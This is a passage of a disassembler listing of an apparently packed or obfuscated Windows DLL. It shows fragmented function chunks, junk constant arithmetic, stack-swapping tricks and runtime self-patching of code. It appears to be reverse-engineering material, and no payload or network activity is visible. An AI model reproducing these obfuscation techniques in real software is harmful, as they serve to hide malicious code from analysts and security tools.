sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_10017492: ; CODE XREF: sub_10013061:loc_100194D1j mov eax, ds:dword_10018608 or eax, eax jnz loc_1001D499 jmp loc_1001AA7F ; END OF FUNCTION CHUNK FOR sub_10013061 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABB4 loc_100174A6: ; CODE XREF: sub_1001ABB4+6j jmp nullsub_66 ; END OF FUNCTION CHUNK FOR sub_1001ABB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016FD0 loc_100174AB: ; CODE XREF: sub_10016FD0+2D8j jmp loc_10015758 ; END OF FUNCTION CHUNK FOR sub_10016FD0 ; --------------------------------------------------------------------------- loc_100174B0: ; CODE XREF: an.kk9rg:10014BB8j jmp loc_100159D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CD85 loc_100174B5: ; CODE XREF: sub_1001CD85:loc_100172C4j jge loc_10015FB4 ; END OF FUNCTION CHUNK FOR sub_1001CD85 ; START OF FUNCTION CHUNK FOR sub_10019E17 loc_100174BB: ; CODE XREF: sub_10019E17+755j jmp loc_10014A5D ; END OF FUNCTION CHUNK FOR sub_10019E17 ; --------------------------------------------------------------------------- push ebp add esi, 3A5838BEh jmp loc_10015FB4 ; --------------------------------------------------------------------------- loc_100174CC: ; CODE XREF: an.kk9rg:1001DEE3j jbe loc_1001C9FC ; START OF FUNCTION CHUNK FOR sub_10019C34 loc_100174D2: ; CODE XREF: sub_10019C34+27A7j rol ecx, 10h jb loc_1001C129 loc_100174DB: ; CODE XREF: sub_1001C9F8-299Ej jmp nullsub_101 ; END OF FUNCTION CHUNK FOR sub_10019C34 ; --------------------------------------------------------------------------- sbb esi, ebp xor eax, 1C9673C8h jmp loc_1001BB0C ; --------------------------------------------------------------------------- loc_100174ED: ; DATA XREF: sub_10018C4D+2B82o pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100192DD loc_100174EF: ; CODE XREF: sub_100192DD+3j jmp sub_100173FA ; END OF FUNCTION CHUNK FOR sub_100192DD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100174F4 proc near ; CODE XREF: sub_10015E0D-2604p ; sub_10015469+48Bp ... var_14 = byte ptr -14h var_8 = dword ptr -8 ; FUNCTION CHUNK AT 100132B5 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10013982 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001428B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10015590 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 100173A6 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 10017FBF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001803C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018934 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019546 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 1001969F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A3AA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001CB88 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h loc_100174FA: ; CODE XREF: sub_10016D66+6B9Cj call sub_1001D11D loc_100174FF: ; CODE XREF: an.kk9rg:1001CE97j jmp loc_10015590 sub_100174F4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C547 loc_10017504: ; CODE XREF: sub_1001C547+12j jmp loc_10019004 ; END OF FUNCTION CHUNK FOR sub_1001C547 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B368 loc_10017509: ; CODE XREF: sub_1001B368+Cj jmp loc_1001C1E0 ; END OF FUNCTION CHUNK FOR sub_1001B368 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100189D7 loc_1001750E: ; CODE XREF: sub_100189D7-178Ej jmp loc_1001799F ; END OF FUNCTION CHUNK FOR sub_100189D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_10017513: ; CODE XREF: sub_10015066:loc_1001B1ADj jnz loc_1001DBA4 loc_10017519: ; CODE XREF: sub_10014E66+6E02j jmp loc_1001D719 ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- test ebp, edi jmp loc_1001DB99 ; --------------------------------------------------------------------------- not edx jge loc_1001885D jmp sub_1001D951 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10017532: ; CODE XREF: sub_10018066+4BBEj push 4 push 28h mov eax, [ebp-4] push eax jmp loc_10013A3E ; END OF FUNCTION CHUNK FOR sub_10018066 ; =============== S U B R O U T I N E ======================================= sub_1001753F proc near ; CODE XREF: sub_10013AEC+1p ; an.kk9rg:10018C18j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001AF73 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx xchg esi, [esp-4+arg_0] jmp loc_1001AF73 sub_1001753F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A0AD loc_1001754B: ; CODE XREF: sub_1001A0AD+7j and edi, ebp mov [ebx], edx ; END OF FUNCTION CHUNK FOR sub_1001A0AD ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_1001754F: ; CODE XREF: sub_10017CF8+6j ; sub_1001A533-2508j ... jmp loc_100137C5 ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A8DD loc_10017554: ; CODE XREF: sub_10017CF8-14DBj ; sub_1001A8DD+7j xchg edi, [esp+0] mov ecx, edi pop edi push offset loc_1001A113 jmp nullsub_60 ; END OF FUNCTION CHUNK FOR sub_1001A8DD ; --------------------------------------------------------------------------- loc_10017564: ; DATA XREF: sub_10017E49-291o push ecx mov esp, ebp xchg edi, [esp] call sub_1001898D ; START OF FUNCTION CHUNK FOR sub_1001A7CF loc_1001756F: ; CODE XREF: sub_1001A7CF+13j jmp loc_1001DAF6 ; END OF FUNCTION CHUNK FOR sub_1001A7CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10017574: ; CODE XREF: sub_10019595+1Bj jmp loc_1001D68F ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100189D7 loc_10017579: ; CODE XREF: sub_100189D7-1BD4j jmp loc_1001CABF ; END OF FUNCTION CHUNK FOR sub_100189D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_1001757E: ; CODE XREF: sub_1001893F-1D41j jmp loc_1001BAA8 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017583: ; CODE XREF: sub_10013389+DEj jmp loc_100175A1 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C185 loc_10017588: ; CODE XREF: sub_1001C185:loc_1001C197j call sub_10014FD4 loc_1001758D: ; CODE XREF: sub_1001C67F+9j cmp al, 0A4h jz loc_1001ABF0 jmp loc_100159BB ; END OF FUNCTION CHUNK FOR sub_1001C185 ; --------------------------------------------------------------------------- xor eax, esi jmp sub_1001C3AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100175A1: ; CODE XREF: sub_10013389:loc_10017583j mov [edx], eax pop edx mov eax, [ebp-4] mov al, [eax] call sub_10018E79 loc_100175AE: ; CODE XREF: an.kk9rg:1001AB8Dj jnp loc_1001BA1A loc_100175B4: ; CODE XREF: sub_10016A1B:loc_10016958j xor edi, 24C3E0FCh and edi, 4011418Ah push offset sub_1001C1BF jmp nullsub_24 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_100175CA: ; CODE XREF: an.kk9rg:loc_10017FB2j jnz loc_10016679 popf mov edx, [edi] jle loc_100153A1 jmp loc_100140BC ; =============== S U B R O U T I N E ======================================= sub_100175DE proc near ; CODE XREF: sub_1001D43B-5FBFp ; an.kk9rg:1001DC12j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013143 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001838D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CD9D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DA78 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add ebx, 0E551234Ah mov ebx, [ebx] xchg ebx, [esp+0] push dword ptr [ebp+0Ch] jmp loc_1001838D sub_100175DE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_100175F5: ; CODE XREF: sub_10013061:loc_1001AA7Fj jz loc_100136EC jmp loc_10016642 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- jmp ds:off_10002030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017606: ; CODE XREF: sub_10013389+A17Dj jmp loc_1001D234 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B8D3 loc_1001760B: ; CODE XREF: sub_10013753+5A66j ; an.kk9rg:loc_100196BAj ... jnb loc_10016A98 call sub_1001646E jnp sub_1001ABB4 jmp loc_1001B20D ; END OF FUNCTION CHUNK FOR sub_1001B8D3 ; --------------------------------------------------------------------------- sbb ecx, 0BE562676h jmp sub_10019771 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3CA loc_1001762C: ; CODE XREF: sub_1001B3CA-BCEj adc esi, 0B88E7E7Eh mov edx, [ebx] jmp loc_1001ABF0 ; END OF FUNCTION CHUNK FOR sub_1001B3CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10017639: ; CODE XREF: sub_10018066+4j sub al, 99h mov edx, [ebp-4] call sub_1001C2D8 ; END OF FUNCTION CHUNK FOR sub_10018066 ; =============== S U B R O U T I N E ======================================= sub_10017643 proc near ; CODE XREF: sub_10013389:loc_1001AADBj ; an.kk9rg:loc_1001C4D6p arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax xchg esi, [esp-4+arg_0] push 0E59C02AFh pop edi xor edi, 0D4CD0E44h sub edi, 51B13AEBh add edi, 20602E28h jmp loc_100198A7 sub_10017643 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10017667 proc near ; CODE XREF: an.kk9rg:100145ADj ; sub_10017CB9-11B7p ... ; FUNCTION CHUNK AT 100136A8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10014A67 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10014BE1 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001548E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100158DB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10015EFC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10017142 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10019CEE SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001A180 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001ABA9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B241 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CB7A SIZE 00000003 BYTES xchg ebx, [esp+0] pop ebx add eax, 0BD07ACFEh add eax, ebp jmp loc_10019CEE sub_10017667 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10017678: ; CODE XREF: an.kk9rg:10018110j and ecx, edi ; =============== S U B R O U T I N E ======================================= sub_1001767A proc near ; CODE XREF: an.kk9rg:10019B6Bp ; FUNCTION CHUNK AT 1001448E SIZE 00000027 BYTES ; FUNCTION CHUNK AT 100155C2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016F14 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100170F1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001847B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018D39 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100191D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A312 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001A853 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001DAC3 SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx imul byte ptr [edx] cmp al, 0A4h jz loc_100155C2 jmp loc_1001847B sub_1001767A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001768D: ; CODE XREF: sub_10013389+151Cj xchg esi, [esp-4+arg_0] jmp sub_1001B010 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10017695: ; CODE XREF: sub_100145ED:loc_10014B80j jz loc_10015F16 jmp loc_10016E5F ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BC80 loc_100176A0: ; CODE XREF: sub_1001BC80:loc_100144CAj ; sub_1001BC80-620j mov eax, [ebp-108h] mov byte ptr [ebp+eax-100h], 0 push 2010h push 0 jmp loc_10013B08 ; END OF FUNCTION CHUNK FOR sub_1001BC80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_100176BA: ; CODE XREF: sub_10015BFC:loc_100157E9j jle loc_1001B428 jmp loc_100179F6 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100156CB loc_100176C5: ; CODE XREF: sub_100156CB:loc_100156A9j jle loc_1001B00C jmp loc_1001CE20 ; END OF FUNCTION CHUNK FOR sub_100156CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DBEB loc_100176D0: ; CODE XREF: sub_1001DBEB:loc_1001B9EAj call sub_1001B20F ; END OF FUNCTION CHUNK FOR sub_1001DBEB ; START OF FUNCTION CHUNK FOR sub_1001C529 loc_100176D5: ; CODE XREF: sub_1001C529+7j jmp loc_1001D640 ; END OF FUNCTION CHUNK FOR sub_1001C529 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_100176DA: ; CODE XREF: sub_10019E2E-4E5Fj jmp loc_1001BB25 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- loc_100176DF: ; CODE XREF: an.kk9rg:10015A29j cmp esi, 5C3A0646h jmp loc_10018018 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_100176EA: ; CODE XREF: sub_10019030+215j jnz loc_10014F52 jmp loc_10016432 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- xor edx, 708785C3h popf jmp sub_1001A365 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10017701: ; CODE XREF: sub_1001ABFD-1CEFj ; sub_10013389:loc_1001A6BBj rol edx, 0Bh xor edx, 0D64A4CFDh add edx, ebp add edx, 7946B329h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_10013667 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018798 loc_1001771D: ; CODE XREF: sub_10018798+Ej jnz loc_100193A1 jmp loc_1001C5B9 ; END OF FUNCTION CHUNK FOR sub_10018798 ; --------------------------------------------------------------------------- adc edi, esi jmp sub_1001555F ; --------------------------------------------------------------------------- loc_1001772F: ; DATA XREF: sub_100150BD+1E1Eo add edx, ebp add edx, 0C472E4B8h mov [edx], eax xchg esi, [esp] mov edx, esi pop esi mov eax, [ebp-4] jmp loc_10014BD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_10017747: ; CODE XREF: sub_100130C7:loc_1001D48Fj mov eax, [ebp-8] mov esp, ebp ; END OF FUNCTION CHUNK FOR sub_100130C7 ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_1001774C: ; CODE XREF: sub_100180C2:loc_1001A0B9j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_1001774E: ; CODE XREF: sub_100130C7+311Cj ; sub_100130C7+5433j push offset loc_100164B4 jmp nullsub_25 ; END OF FUNCTION CHUNK FOR sub_100130C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10017758: ; CODE XREF: sub_1001A97E:loc_10018F58j pop edx loc_10017759: ; CODE XREF: sub_10013999+53EAj or edx, 0BDCD3EBCh xor edx, 3FADF72Fh add edx, 0A9B7CDFh loc_1001776B: ; CODE XREF: sub_1001537B:loc_10019EA6j xor edx, 166DFCB2h jmp loc_10019B75 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017776: ; CODE XREF: sub_10013389:loc_1001CEBDj and eax, 0B4E36553h or eax, 53BF5335h test eax, 100h jmp loc_100151F8 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001778D: ; CODE XREF: an.kk9rg:10016601j jz loc_100165C9 jmp loc_10018782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001677A loc_10017798: ; CODE XREF: sub_1001677A:loc_10013957j xchg edx, [esp+4+var_4] mov ebp, esp loc_1001779D: ; CODE XREF: sub_100178C9:loc_1001C4A4j push ecx mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jz loc_1001B783 jmp loc_1001CA4D ; END OF FUNCTION CHUNK FOR sub_1001677A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017803 loc_100177B2: ; CODE XREF: sub_10017803:loc_1001DA68j mov eax, ds:dword_1001D758 or eax, eax jnz loc_1001DA29 jmp loc_100158BC ; END OF FUNCTION CHUNK FOR sub_10017803 ; --------------------------------------------------------------------------- jb sub_10019F19 jmp sub_10018D62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_100177D0: ; CODE XREF: sub_1001B096:loc_1001CBC5j pop ebx lea eax, sub_100168DF mov byte ptr [eax], 0C3h loc_100177DA: ; CODE XREF: sub_10015F31+1F6j jmp sub_100168DF ; END OF FUNCTION CHUNK FOR sub_1001B096 ; =============== S U B R O U T I N E ======================================= sub_100177DF proc near ; CODE XREF: sub_100177DF+5j ; DATA XREF: vyridizn:off_10002018o call sub_100177EF jmp ds:off_10002018 sub_100177DF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_100177EA: ; CODE XREF: sub_10015B5D+7FC7j jmp sub_10013A6A ; END OF FUNCTION CHUNK FOR sub_10015B5D ; =============== S U B R O U T I N E ======================================= sub_100177EF proc near ; CODE XREF: an.kk9rg:loc_100139CCj ; sub_10016D66:loc_10016EFAj ... pop edx jmp loc_1001DF12 sub_100177EF endp ; sp-analysis failed ; --------------------------------------------------------------------------- push 0DB4744BFh jmp loc_100188ED ; --------------------------------------------------------------------------- loc_100177FF: ; DATA XREF: sub_10013389:loc_10015905o xchg edx, [esp] retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10017803 proc near ; CODE XREF: sub_100153B8:loc_1001B9E5j ; FUNCTION CHUNK AT 100177B2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001DA29 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001DA68 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_1001DA68 sub_10017803 endp ; --------------------------------------------------------------------------- loc_1001780F: ; CODE XREF: an.kk9rg:1001A2E4j adc edi, eax ; =============== S U B R O U T I N E ======================================= sub_10017811 proc near ; CODE XREF: sub_100180C2+401Cp ; FUNCTION CHUNK AT 1001408D SIZE 00000005 BYTES xchg eax, [esp+0] pop eax pop ebp mov eax, ds:dword_1001D744 push offset loc_1001996F jmp loc_1001408D sub_10017811 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B2E2 loc_10017826: ; CODE XREF: sub_1001B2E2+9j call sub_10015995 ; END OF FUNCTION CHUNK FOR sub_1001B2E2 ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_1001782B: ; CODE XREF: sub_10018C76-2878j jmp loc_10018FCE ; END OF FUNCTION CHUNK FOR sub_10018C76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_10017830: ; CODE XREF: sub_10019030:loc_10018BA2j mov edx, [ebp-8] mov eax, [ebp-4] call sub_1001558A mov edx, [ebp-8] mov eax, [ebp-4] call sub_10019423 loc_10017846: ; CODE XREF: sub_1001985B-B79j jmp loc_1001949E ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_1001784B: ; CODE XREF: sub_10017D86-2A77j jmp loc_1001CFC1 ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_10017850: ; CODE XREF: sub_100188EE:loc_10014413j and ecx, 0D010A52Eh mov edi, ebx cdq jge loc_1001A506 sub edx, ecx jmp loc_10018FF3 ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10017866: ; CODE XREF: sub_10015B5D-17E9j cmp dword ptr [ebp-1Ch], 0Fh jnz loc_1001D54F mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] or eax, edx jmp loc_1001377B ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CA40 loc_10017883: ; CODE XREF: sub_1001CA40:loc_1001CA4Dj sub al, 99h call sub_1001B096 loc_1001788A: ; CODE XREF: sub_1001B8D3:loc_1001AC17j xor edi, 0CE83C20h add edi, 9BA19E65h xchg edi, [esp+0] jmp loc_1001A72D ; END OF FUNCTION CHUNK FOR sub_1001CA40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001789E: ; CODE XREF: sub_10013389:loc_100130E4j and ecx, 531A8729h jnz loc_1001464E mov edx, 777EC6A3h jmp loc_1001D727 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_100178B4: ; CODE XREF: an.kk9rg:loc_1001C376j jz loc_1001B00C jmp loc_100181C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_100178BF: ; CODE XREF: sub_10015C14:loc_10015397j push offset sub_10019D63 jmp nullsub_130 ; END OF FUNCTION CHUNK FOR sub_10015C14 ; =============== S U B R O U T I N E ======================================= sub_100178C9 proc near ; DATA XREF: sub_1001A6F7-2D0Bo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014133 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 1001495A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10014EBF SIZE 00000020 BYTES ; FUNCTION CHUNK AT 10014F84 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015585 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016A5C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016FC5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019679 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C162 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001C4A4 SIZE 0000000C BYTES push 30A1C1EFh pop edx xor edx, 0BA835F9h rol edx, 10h jmp loc_10019679 sub_100178C9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_100178DD: ; CODE XREF: an.kk9rg:10016694j push 0E8F66CB9h loc_100178E2: ; CODE XREF: an.kk9rg:loc_10015108j pop eax and eax, 0E5963C10h add eax, 5B6AB28Bh jmp loc_100190BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100178F4: ; CODE XREF: sub_1001A97E-4410j jle loc_10016CAF jmp loc_10017304 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_100178FF: ; CODE XREF: sub_1001504E:loc_1001DC35j sub al, 99h push 0CB853614h pop edx and edx, ds:100000CBh jmp loc_100147E3 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10017912: ; CODE XREF: sub_1001ABFD-65FBj cmp eax, edx loc_10017914: ; CODE XREF: an.kk9rg:10014B4Fj jmp loc_1001B32B ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014E17 loc_10017919: ; CODE XREF: sub_10014E17+17j push 4512074Ah pop edi loc_1001791F: ; CODE XREF: sub_1001D9A7:loc_10013248j rol edi, 14h xor edi, 1B1F7004h popf xor eax, edi pop edi jmp loc_10017421 ; END OF FUNCTION CHUNK FOR sub_10014E17 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018352 loc_10017932: ; CODE XREF: sub_10018352:loc_10018A0Ej jmp nullsub_33 ; END OF FUNCTION CHUNK FOR sub_10018352 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_10017937: ; CODE XREF: sub_1001CF40:loc_1001AD61j jz loc_1001C9C1 jmp loc_1001308B ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- rol edx, 1 jmp sub_10016B81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B319 loc_10017949: ; CODE XREF: sub_1001B319+Dj inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 0 jmp loc_10018CF8 ; END OF FUNCTION CHUNK FOR sub_1001B319 ; --------------------------------------------------------------------------- loc_10017960: ; CODE XREF: an.kk9rg:10014927j push ebx push 0EFBCEE5h pop ebx rol ebx, 4 sub ebx, 449F30BFh add ebx, 4119ED1Fh jmp loc_100165D1 ; --------------------------------------------------------------------------- locret_1001797B: ; CODE XREF: an.kk9rg:loc_10016D20j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CB9 loc_1001797C: ; CODE XREF: sub_10017CB9+Aj ; sub_1001537B:loc_1001B5F8j jmp loc_10016AF0 ; END OF FUNCTION CHUNK FOR sub_10017CB9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10017982: ; CODE XREF: sub_10016D66+48B5j jmp loc_100195B5 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10017987: ; CODE XREF: sub_1001ABFD-17BCj jmp loc_1001CE70 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016323 loc_1001798C: ; CODE XREF: sub_10016323+Dj jmp loc_10013649 ; END OF FUNCTION CHUNK FOR sub_10016323 ; --------------------------------------------------------------------------- locret_10017991: ; CODE XREF: an.kk9rg:loc_10014F12j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10017992: ; CODE XREF: sub_100194EA:loc_10019282j mov eax, [ebp-0Ch] push offset loc_1001B7C5 jmp nullsub_54 ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100189D7 loc_1001799F: ; CODE XREF: sub_100189D7:loc_1001750Ej jz loc_100169A1 jmp loc_1001432A ; END OF FUNCTION CHUNK FOR sub_100189D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014A06 loc_100179AA: ; CODE XREF: sub_10014A06-3C3j or eax, eax jnz loc_1001C457 jmp loc_1001B2AA ; END OF FUNCTION CHUNK FOR sub_10014A06 ; --------------------------------------------------------------------------- loc_100179B7: ; CODE XREF: an.kk9rg:loc_10014CC9j jnz loc_1001A695 cdq jmp loc_1001A68F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001725E loc_100179C3: ; CODE XREF: sub_1001725E:loc_10016DE7j pop eax rol eax, 1Dh and eax, 0E970AEC5h add eax, 0E90DAEDh call sub_10016AA2 loc_100179D8: ; CODE XREF: sub_1001D43B:loc_1001AAA4j adc ebp, ecx jmp sub_1001997C ; END OF 